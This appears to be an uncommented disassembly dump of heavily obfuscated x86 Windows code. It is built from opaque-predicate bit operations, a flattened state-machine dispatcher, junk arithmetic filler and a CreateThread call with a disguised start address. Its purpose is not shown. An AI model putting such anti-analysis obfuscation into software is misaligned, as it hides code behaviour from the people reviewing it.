mov dh, dl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
and dl, ah
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x741c8f23
mov ecx, 0xfba813d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov dl, byte [ebp - 0x7b]
mov eax, 0xa98b9999
mov ecx, 0x8a4972ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov eax, dword [0x5d5bbc]
mov ecx, dword [0x5d5bb8]
mov edi, 0xed8373f3
add edi, 0
sub edi, 0x7113befe
sub edi, 0xed8373f3
xor edx, edx
sub edx, 1
add edi, edx
add edi, 0x45d2d944
add edi, 0x7113befe
sub edi, 0x45d2d944
xor esi, esi
sub esi, 0x6be1c816
sub esi, eax
add esi, 0x6be1c816
xor edx, edx
sub edx, edi
add edx, 0
add esi, 0x9b63e14f
add esi, edx
sub esi, 0x9b63e14f
xor edx, edx
sub edx, esi
add edx, 0
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl dh
mov cl, ah
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
mov ch, ah
and ch, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ch
or al, dl
xor cl, al
xor cl, 0xff
xor cl, 0
and cl, 0
mov al, 1
xor al, 0
and al, 0
mov ch, 1
xor ch, 0
mov bl, ch
and bl, 0
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or al, bl
or dl, ch
xor al, dl
mov dl, al
xor dl, 0xff
mov ch, ah
xor ch, dl
and ch, ah
mov dl, 1
xor dl, 1
and dl, 1
mov bl, 1
xor bl, 1
and bl, 1
or dl, bl
mov bl, 1
xor bl, 0
mov bh, dl
xor bh, bl
and bh, dl
xor al, 0xff
xor al, 1
and al, 0xff
mov dl, cl
and dl, ch
xor cl, ch
or dl, cl
mov cl, bh
xor cl, 0xff
mov byte [ebp - 0x10ed], cl
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 1
and cl, 0xff
and bh, ch
mov byte [ebp - 0x10ef], bh
mov bh, bl
and bh, 0xff
and al, ch
mov byte [ebp - 0x10ee], al
mov al, byte [ebp - 0x10ef]
or cl, al
mov al, byte [ebp - 0x10ee]
or bh, al
mov al, byte [ebp - 0x10ed]
xor cl, bh
or al, bl
xor al, 0xff
or ch, 1
and al, ch
or cl, al
mov ch, dl
xor ch, 0xff
and ch, 1
mov bl, 1
xor bl, 1
and dl, bl
mov al, cl
xor al, 0xff
and al, 0xff
and cl, bl
or ch, dl
or al, cl
xor ch, al
mov dl, dh
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov bl, dh
and bl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dl, bl
or al, cl
xor dl, al
mov cl, 1
xor cl, 1
xor dl, 0xff
mov al, 1
xor al, 1
or cl, dl
or al, 1
xor cl, 0xff
and cl, al
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
xor dl, 0xff
mov al, dh
xor al, dl
and al, dh
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x10eb], bh
mov bl, al
xor bl, 0xff
mov dl, 1
xor dl, 1
and bh, 0xff
mov byte [ebp - 0x10ec], bh
and cl, dl
mov bh, bl
and bh, 0xff
and al, dl
mov byte [ebp - 0x10ea], al
mov al, byte [ebp - 0x10ec]
or al, cl
mov cl, byte [ebp - 0x10eb]
mov byte [ebp - 0x10e9], al
mov al, byte [ebp - 0x10ea]
or bh, al
mov al, byte [ebp - 0x10e9]
xor al, bh
or cl, bl
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0x10ce], al
mov cl, 1
xor cl, 1
and cl, 0
mov dl, 1
xor dl, 0
mov bl, dl
and bl, 1
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, bl
or al, dl
xor cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov bl, 1
xor bl, 1
and bl, 0
mov dl, 1
xor dl, 0
mov bh, dl
and bh, 1
mov al, 1
xor al, 1
and al, 0
and dl, 1
or bl, bh
or al, dl
xor bl, al
mov al, 1
xor al, 1
xor bl, 0xff
mov dl, 1
xor dl, 0
or al, bl
or dl, 0
xor al, 0xff
and al, dl
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x10e7], bh
mov bl, al
xor bl, 0xff
mov dl, 1
xor dl, 1
and bh, 0xff
mov byte [ebp - 0x10e8], bh
and cl, dl
mov bh, bl
and bh, 0xff
and al, dl
mov byte [ebp - 0x10e6], al
mov al, byte [ebp - 0x10e8]
or al, cl
mov cl, byte [ebp - 0x10e7]
mov byte [ebp - 0x10e5], al
mov al, byte [ebp - 0x10e6]
or bh, al
mov al, byte [ebp - 0x10e5]
xor al, bh
or cl, bl
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0x10c7], al
mov al, ch
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov cl, ch
and cl, dl
or al, cl
mov byte [ebp - 0x10e4], al
mov cl, 1
xor cl, 1
and cl, 1
mov dl, 1
xor dl, 1
mov bl, dl
and bl, 1
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, bl
or al, dl
xor cl, al
mov dl, 1
xor dl, 0
and dl, 1
mov bh, 1
xor bh, 1
mov al, bh
and al, 0
mov bl, 1
xor bl, 1
and bl, 0xff
and bh, 1
or dl, al
mov al, byte [ebp - 0x10e4]
or bl, bh
xor dl, bl
mov byte [ebp - 0x10e1], dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x10e0], dl
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
and dl, 0
and al, bl
mov byte [ebp - 0x10e3], al
mov al, bh
and al, 0
mov byte [ebp - 0x10e2], al
mov al, byte [ebp - 0x10e3]
and cl, bl
or dl, al
mov al, byte [ebp - 0x10e2]
or al, cl
mov cl, byte [ebp - 0x10e1]
xor dl, al
mov al, byte [ebp - 0x10e0]
or al, bh
xor al, 0xff
or bl, 0
and al, bl
or dl, al
mov bl, 1
xor bl, 0
mov byte [ebp - 0x10dd], bl
mov al, cl
xor al, 0xff
mov byte [ebp - 0x10dc], al
mov bh, 1
xor bh, 1
and bl, 0xff
mov al, bh
and al, 0
mov byte [ebp - 0x10df], al
mov al, byte [ebp - 0x10dc]
and al, 0xff
mov byte [ebp - 0x10de], al
mov al, byte [ebp - 0x10df]
and cl, bh
or bl, al
mov al, byte [ebp - 0x10de]
or al, cl
mov cl, byte [ebp - 0x10dd]
xor bl, al
mov al, byte [ebp - 0x10dc]
or cl, al
mov al, byte [ebp - 0x10c7]
xor cl, 0xff
or bh, 1
and cl, bh
or bl, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov bh, 1
xor bh, 1
and dl, bh
or cl, dl
xor bl, 0xff
mov dl, cl
xor dl, bl
and dl, cl
mov bh, al
xor bh, 0xff
and bh, 0
mov bl, 1
xor bl, 0
and al, bl
mov cl, 1
xor cl, 1
and cl, 0
and bl, 1
or bh, al
mov al, byte [ebp - 0x10ce]
or cl, bl
xor bh, cl
mov cl, ah
xor cl, 0xff
mov bl, bh
and bl, cl
xor bh, 0xff
mov cl, ah
and cl, bh
or bl, cl
xor bl, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 1
or bl, ah
or cl, 1
xor bl, 0xff
and bl, cl
mov ah, al
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
and al, cl
or ah, al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
mov al, 1
xor al, 0
and al, 1
mov cl, 1
xor cl, 1
and cl, 0
or al, cl
mov cl, ah
and cl, bh
xor ah, bh
or cl, ah
mov bh, al
and bh, 0
xor al, 0
or bh, al
mov al, cl
xor al, 0xff
and al, 1
mov byte [ebp - 0x10db], al
mov al, 1
xor al, 1
and cl, al
mov ah, 1
xor ah, 1
and ah, 0xff
and al, 1
mov byte [ebp - 0x10da], al
mov al, byte [ebp - 0x10db]
or al, cl
mov cl, byte [ebp - 0x10da]
or ah, cl
mov cl, byte [ebp - 0x10c7]
xor al, ah
xor al, 0xff
xor bh, 0xff
mov ah, 1
xor ah, 1
or al, bh
or ah, 1
xor al, 0xff
and al, ah
mov bh, cl
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
and cl, ah
or bh, cl
mov cl, dh
xor cl, 0xff
mov ah, bh
and ah, cl
xor bh, 0xff
mov cl, dh
and cl, bh
or ah, cl
xor dh, 0xff
mov cl, ah
xor cl, dh
and cl, ah
mov ah, dl
xor ah, 0xff
mov bh, bl
xor bh, 0xff
mov dh, 1
xor dh, 1
or ah, bh
or dh, 1
xor ah, 0xff
and ah, dh
mov bh, dl
xor bh, 0xff
mov dh, bl
and dh, bh
xor bl, 0xff
and dl, bl
or dh, dl
mov dl, ah
and dl, dh
xor ah, dh
or dl, ah
mov byte [ebp - 0x10d2], dl
mov ah, al
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
mov dl, al
and dl, dh
or ah, dl
mov byte [ebp - 0x10d5], ah
mov bl, cl
xor bl, 0xff
and bl, 1
mov dh, 1
xor dh, 1
mov bh, cl
and bh, dh
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or bl, bh
or dl, dh
xor bl, dl
mov byte [ebp - 0x10d7], bl
mov dl, 1
xor dl, 1
and dl, 1
mov dh, 1
xor dh, 1
and dh, 1
or dl, dh
xor ah, 0xff
mov bh, 1
xor bh, 1
mov dh, 1
xor dh, 1
or ah, bh
or dh, 1
xor ah, 0xff
and ah, dh
mov bh, dl
xor bh, 0xff
mov dh, al
xor dh, bh
and dh, al
mov bh, 1
xor bh, 1
mov al, bl
xor al, bh
and al, bl
xor cl, 0xff
mov bh, dl
xor bh, 0xff
mov bl, 1
xor bl, 0
or cl, bh
or bl, 0
xor cl, 0xff
and cl, bl
mov bl, ah
and bl, dh
xor ah, dh
or bl, ah
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x10d6], dh
mov bh, cl
xor bh, 0xff
mov ah, 1
xor ah, 0
and dh, 0
and al, ah
mov byte [ebp - 0x10d9], al
mov al, bh
and al, 0
mov byte [ebp - 0x10d8], al
mov al, byte [ebp - 0x10d9]
and cl, ah
or dh, al
mov al, byte [ebp - 0x10d8]
or al, cl
mov cl, byte [ebp - 0x10d7]
xor dh, al
mov al, byte [ebp - 0x10d6]
or al, bh
xor al, 0xff
or ah, 0
and al, ah
or dh, al
mov bh, bl
xor bh, 0xff
and bh, 1
mov al, 1
xor al, 1
and bl, al
mov ah, dh
xor ah, 0xff
and ah, 0xff
and dh, al
mov al, byte [ebp - 0x10d5]
or bh, bl
or ah, dh
xor bh, ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x10d1], ah
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
and ah, 0xff
and al, dh
mov byte [ebp - 0x10d4], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x10d3], al
mov al, byte [ebp - 0x10d4]
and cl, dh
or ah, al
mov al, byte [ebp - 0x10d3]
or al, cl
mov cl, byte [ebp - 0x10d2]
xor ah, al
mov al, byte [ebp - 0x10d1]
or al, bl
xor al, 0xff
or dh, 1
and al, dh
or ah, al
mov al, ah
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and ah, dh
or al, ah
mov ah, dl
and ah, 1
xor dl, 1
or ah, dl
xor al, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or al, ah
or dl, 1
xor al, 0xff
and al, dl
mov dl, bh
xor dl, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ah, dl
and ah, 0
and bh, dh
mov byte [ebp - 0x10d0], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x10cf], al
mov al, byte [ebp - 0x10d0]
or ah, al
mov al, byte [ebp - 0x10cf]
or bh, al
mov al, byte [ebp - 0x10ce]
xor ah, bh
or dl, bl
xor dl, 0xff
or dh, 0
and dl, dh
or ah, dl
mov bl, cl
xor bl, 0xff
and bl, 1
mov dh, 1
xor dh, 1
mov bh, cl
and bh, dh
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or bl, bh
or dl, dh
xor bl, dl
mov dl, ah
xor dl, 0xff
xor bl, 0xff
mov dh, 1
xor dh, 0
or dl, bl
or dh, 0
xor dl, 0xff
and dl, dh
mov dh, ah
xor dh, 0xff
and dh, 1
mov bl, 1
xor bl, 1
and ah, bl
or dh, ah
xor dh, 0xff
mov ah, cl
xor ah, dh
and ah, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov byte [ebp - 0x10bc], cl
mov bl, ch
xor bl, 0xff
and bl, 1
mov dl, 1
xor dl, 1
mov ah, ch
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or bl, ah
or cl, dl
xor bl, cl
mov dh, al
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
and al, cl
or dh, al
mov bh, 1
xor bh, 1
and bh, 0
mov cl, 1
xor cl, 0
mov dl, cl
and dl, 1
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bh, dl
or al, cl
xor bh, al
mov al, 1
xor al, 1
mov ah, bl
xor ah, al
and ah, bl
xor ch, 0xff
mov cl, bh
xor cl, 0xff
mov al, 1
xor al, 1
or ch, cl
or al, 1
xor ch, 0xff
and ch, al
mov al, dh
xor al, 0xff
mov cl, 1
xor cl, 1
mov dl, 1
xor dl, 0
or al, cl
mov cl, byte [ebp - 0x10ce]
or dl, 0
xor al, 0xff
and al, dl
mov byte [ebp - 0x10cd], al
xor cl, 0xff
mov al, bh
xor al, 0xff
mov dl, 1
xor dl, 1
or cl, al
mov al, byte [ebp - 0x10cd]
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, ah
and dl, ch
xor ah, ch
or dl, ah
mov byte [ebp - 0x10ca], dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x10c9], dl
mov ch, cl
xor ch, 0xff
mov ah, 1
xor ah, 1
and dl, 0xff
and al, ah
mov byte [ebp - 0x10cc], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x10cb], al
mov al, byte [ebp - 0x10cc]
and cl, ah
or dl, al
mov al, byte [ebp - 0x10cb]
or al, cl
mov cl, byte [ebp - 0x10ca]
xor dl, al
mov al, byte [ebp - 0x10c9]
or al, ch
xor al, 0xff
or ah, 1
and al, ah
or dl, al
mov ah, cl
xor ah, 0xff
mov al, dl
and al, ah
xor dl, 0xff
and cl, dl
or al, cl
mov byte [ebp - 0x10c8], al
mov cl, bl
xor cl, 0xff
mov ah, dh
xor ah, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and bl, dl
mov ch, ah
and ch, 0
and dh, dl
or al, bl
or ch, dh
xor al, ch
or cl, ah
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and al, dl
or cl, al
mov dl, 1
xor dl, 1
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov ah, dl
and ah, 0
mov al, ch
and al, 1
mov bl, dh
and bl, 0
and bh, ch
or ah, al
mov al, byte [ebp - 0x10c8]
or bl, bh
mov bh, byte [ebp - 0x10c7]
xor ah, bl
or dl, dh
xor dl, 0xff
or ch, 0
and dl, ch
or ah, dl
xor ah, 0xff
mov dl, cl
xor dl, ah
and dl, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov ah, cl
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov al, cl
and al, dl
or ah, al
mov al, 1
xor al, 1
xor ah, 0xff
mov dl, 1
xor dl, 0
or al, ah
or dl, 0
xor al, 0xff
and al, dl
mov ah, 1
xor ah, 1
and ah, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 1
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or ah, dh
or dl, ch
xor ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov al, 1
xor al, 1
and al, 1
mov cl, 1
xor cl, 1
and cl, 1
or al, cl
mov byte [ebp - 0x10c3], al
mov ch, bh
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov dh, bh
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or ch, dh
or cl, dl
xor ch, cl
mov dh, 1
xor dh, 0
and dh, 1
mov dl, 1
xor dl, 1
mov bl, dl
and bl, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or dh, bl
or cl, dl
xor dh, cl
mov byte [ebp - 0x10c0], dh
xor al, 0xff
mov dl, 1
xor dl, 0
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov cl, dh
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov byte [ebp - 0x10c6], cl
mov dl, 1
xor dl, 0
mov bl, ch
xor bl, dl
and bl, ch
xor bh, 0xff
xor dh, 0xff
mov dl, 1
xor dl, 1
or bh, dh
or dl, 1
xor bh, 0xff
and bh, dl
mov dh, al
xor dh, 0xff
xor cl, 0xff
mov byte [ebp - 0x10c2], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x10c1], cl
mov dl, dh
and dl, 0xff
and al, cl
mov cl, byte [ebp - 0x10c6]
mov byte [ebp - 0x10c5], al
mov al, byte [ebp - 0x10c2]
and al, 0xff
mov byte [ebp - 0x10c4], al
mov al, byte [ebp - 0x10c1]
and cl, al
mov al, byte [ebp - 0x10c5]
or dl, al
mov al, byte [ebp - 0x10c4]
or al, cl
mov cl, byte [ebp - 0x10c3]
xor dl, al
mov al, byte [ebp - 0x10c2]
or dh, al
mov al, byte [ebp - 0x10c1]
xor dh, 0xff
or al, 1
and dh, al
mov al, byte [ebp - 0x10c0]
or dl, dh
mov dh, bl
and dh, bh
xor bl, bh
or dh, bl
mov bl, dl
xor bl, 0xff
mov bh, dh
and bh, bl
xor dh, 0xff
and dl, dh
or bh, dl
mov dl, cl
and dl, ch
xor cl, ch
or dl, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and dl, ch
or cl, dl
mov byte [ebp - 0x10bd], cl
mov dl, 1
xor dl, 0
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
mov cl, dl
and cl, 0xff
mov bl, ch
and bl, 0
mov byte [ebp - 0x10bf], bl
mov bl, dh
and bl, 0xff
and al, ch
mov byte [ebp - 0x10be], al
mov al, byte [ebp - 0x10bf]
or cl, al
mov al, byte [ebp - 0x10be]
or bl, al
mov al, byte [ebp - 0x10bd]
xor cl, bl
or dl, dh
xor dl, 0xff
or ch, 1
and dl, ch
or cl, dl
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bh, cl
mov dh, ch
and dh, 0xff
and bl, cl
or dl, bh
or dh, bl
xor dl, dh
or al, ch
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov bl, ah
xor bl, 0xff
and bl, 0
mov cl, 1
xor cl, 0
and ah, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bl, ah
or al, cl
xor bl, al
mov dh, dl
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
and dl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dh, dl
or al, cl
xor dh, al
mov bh, 1
xor bh, 1
and bh, 1
mov cl, 1
xor cl, 1
mov dl, cl
and dl, 1
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bh, dl
or al, cl
xor bh, al
mov al, bl
xor al, 0xff
mov dl, dh
xor dl, 0xff
mov cl, 1
xor cl, 0
mov ah, al
and ah, 0
and bl, cl
mov ch, dl
and ch, 0
and dh, cl
or ah, bl
or ch, dh
xor ah, ch
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov cl, 1
xor cl, 1
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov dl, cl
and dl, 0
mov al, ch
and al, 1
mov bl, dh
and bl, 0
and bh, ch
or dl, al
mov al, byte [ebp - 0x10bc]
or bl, bh
xor dl, bl
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or dl, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and ah, ch
or cl, ah
xor dl, 0xff
mov ah, cl
xor ah, dl
and ah, cl
mov ch, al
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov dh, al
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or ch, dh
or cl, dl
xor ch, cl
mov byte [ebp - 0x10bb], ch
mov dl, ah
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov cl, ah
and cl, dh
or dl, cl
mov bh, 1
xor bh, 0
and bh, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 0
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or bh, bl
or cl, dh
xor bh, cl
xor ch, 0xff
mov dh, 1
xor dh, 0
mov cl, 1
xor cl, 1
or ch, dh
or cl, 1
xor ch, 0xff
and ch, cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, dl
xor al, 0xff
mov cl, 1
xor cl, 0
mov dh, 1
xor dh, 0
or al, cl
mov cl, byte [ebp - 0x10bb]
or dh, 0
xor al, 0xff
and al, dh
mov byte [ebp - 0x10ba], al
mov al, bh
xor al, 0xff
mov dh, ah
xor dh, al
mov al, byte [ebp - 0x10ba]
and dh, ah
mov ah, ch
and ah, bl
xor ch, bl
or ah, ch
mov ch, al
and ch, dh
xor al, dh
or ch, al
mov dh, ah
xor dh, 0xff
mov al, ch
and al, dh
xor ch, 0xff
and ah, ch
or al, ah
mov byte [ebp - 0x10b9], al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov dl, al
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
and al, cl
or dl, al
mov cl, 1
xor cl, 0
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, cl
and ah, 0xff
mov al, ch
and al, 0
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0x10b9]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf54ac009
mov ecx, 0x32900c57
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov cx, word [ebp - 0x7a]
mov eax, dword [ebp - 0x78]
mov word [eax], cx
mov dword [ebp - 0x1e0], 0xa98b9999
jmp 0x486e58
rol ebx, 0x6f
dec edi
inc eax
sub esi, 0xbb
not edx
imul esi
dec eax
ror edx, 0xc1
rcl edi, 0xdb
rol ebx, 0x66
and esi, 0xf9
neg edi
sbb edx, 0xef
inc eax
dec edi
add ebx, 0x89
neg edx
mov edi, 0x94
neg eax
dec edi
or ebx, 0xa2
neg esi
add eax, 0x74
neg edi
ror edx, 0x10
inc edx
or edx, 0x59
ror eax, 0x3b
imul esi
ror esi, 0xe3
ror edx, 0x84
add ebx, 0x79
imul edx
imul esi
rol edi, 0xd
rol eax, 0x61
neg eax
bswap edx
sbb edi, 0xe7
dec edx
not eax
sbb edx, 0x9f
rcr edi, 0x57
neg eax
rcl esi, 0xf
neg esi
sbb ebx, 0xf9
inc esi
ror ebx, 0x66
imul eax
sub edx, 0x59
inc edi
inc eax
not edx
not esi
neg edx
ror esi, 0x18
mov edi, 0xa6
or edi, 0x11
and ebx, 0x98
not esi
not eax
bswap esi
not esi
not edi
inc edx
bswap ebx
inc edi
inc ebx
rcr eax, 0x95
dec esi
and ebx, 0xb3
rcr edx, 0x9d
rol edi, 1
rcr edx, 0x19
imul eax
imul eax
neg edx
rcl ebx, 3
neg edi
rcr esi, 0x5c
inc edi
and edx, 0x31
or esi, 0xff
dec edi
bswap eax
sbb edi, 0x6b
not edx
imul edi
bswap edi
dec eax
or edi, 0x1d
rcr edi, 0x91
neg ebx
not eax
inc esi
sbb edx, 0xdc
sbb edx, 0xdb
neg esi
rcr ebx, 0x6a
rcr ebx, 0x3d
not edx
bswap esi
rcl esi, 0xaa
rcr eax, 0xf5
inc edi
sbb edx, 0x74
not edi
dec ebx
bswap esi
or eax, 0x61
imul ebx
imul esi
rcl eax, 0x39
rcr esi, 0xdf
or edx, 0x43
and ebx, 0x7c
not ebx
imul esi
inc edi
inc edx
dec edi
dec ebx
neg edx
sbb esi, 0x43
add edi, 0x3e
bswap edi
not edi
not edx
bswap edx
neg ebx
dec edx
inc ebx
and esi, 0xcb
ror eax, 0x68
and edx, 0xb8
not edx
or esi, 0xd4
inc ebx
neg edx
or eax, 0xe5
sbb ebx, 0x9b
inc edi
inc edx
and esi, 0x42
neg esi
sbb esi, 0x52
dec edi
and edi, 0xda
neg eax
mov dword [ebp - 0x1ac], eax
mov edx, dword [ebp - 0x1bc]
mov eax, dword [ebp - 0x1b8]
mov eax, dword [eax + 0x28]
xor ecx, ecx
sub ecx, 0x62e928da
sub ecx, edx
add ecx, 0x62e928da
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, edx
xor edx, edx
sub edx, 0x3b516083
add edx, 0
add edx, 0xfe31bdfe
sub edx, eax
sub edx, 0xfe31bdfe
add edx, 0x1eb16aae
add edx, 0x3b516083
sub edx, 0x1eb16aae
mov eax, 0x62cdc148
add eax, 0
sub eax, edx
sub eax, 0x62cdc148
sub ecx, 0xb51d67dc
sub ecx, eax
add ecx, 0xb51d67dc
xor eax, eax
sub eax, 0xcba0b832
add eax, 0x512e8052
add eax, 0xcba0b832
sub eax, 0xd63e4f9d
sub eax, ecx
add eax, 0xd63e4f9d
sub eax, 0xd9772e62
sub eax, 0x512e8052
add eax, 0xd9772e62
xor ecx, ecx
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x1e0], 0x732cd9d1
jmp 0x486e58
mov ecx, dword [0x5d5bbc]
mov eax, dword [0x5d5bb8]
mov edi, 0xbcd897ec
add edi, 0
add edi, 0x56bd535a
sub edi, 0xbcd897ec
xor edx, edx
sub edx, 1
add edi, edx
add edi, 0xbbfde5de
sub edi, 0x56bd535a
sub edi, 0xbbfde5de
mov edx, ecx
sub edx, 0x3f4f6044
sub edx, 0x7aa331b1
add edx, 0x3f4f6044
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0x7aa331b1
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl al
mov byte [ebp - 0x10f9], al
mov cl, bl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov dl, bl
and dl, ah
or cl, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and al, ah
or dl, al
mov al, 1
xor al, 0
and al, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 0
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or al, dh
or ah, ch
xor al, ah
mov dh, cl
and dh, dl
xor cl, dl
or dh, cl
mov cl, 1
xor cl, 0
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 0
mov dl, cl
and dl, 0
mov bh, ah
and bh, 0
mov byte [ebp - 0x10fb], bh
mov bh, ch
and bh, 0
and al, ah
mov byte [ebp - 0x10fa], al
mov al, byte [ebp - 0x10fb]
or dl, al
mov al, byte [ebp - 0x10fa]
or bh, al
mov al, byte [ebp - 0x10f9]
xor dl, bh
or cl, ch
xor cl, 0xff
or ah, 0
and cl, ah
or dl, cl
mov cl, dh
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
xor dl, 0xff
mov dh, cl
xor dh, dl
and dh, cl
mov dl, bl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov ch, bl
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or dl, ch
or cl, ah
xor dl, cl
mov bh, al
xor bh, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or bh, dl
or cl, 1
xor bh, 0xff
and bh, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and al, dl
or cl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov al, bh
xor al, 0xff
mov ah, bl
xor ah, 0xff
mov dl, 1
xor dl, 1
mov cl, al
and cl, 0xff
and bh, dl
mov ch, ah
and ch, 0xff
and bl, dl
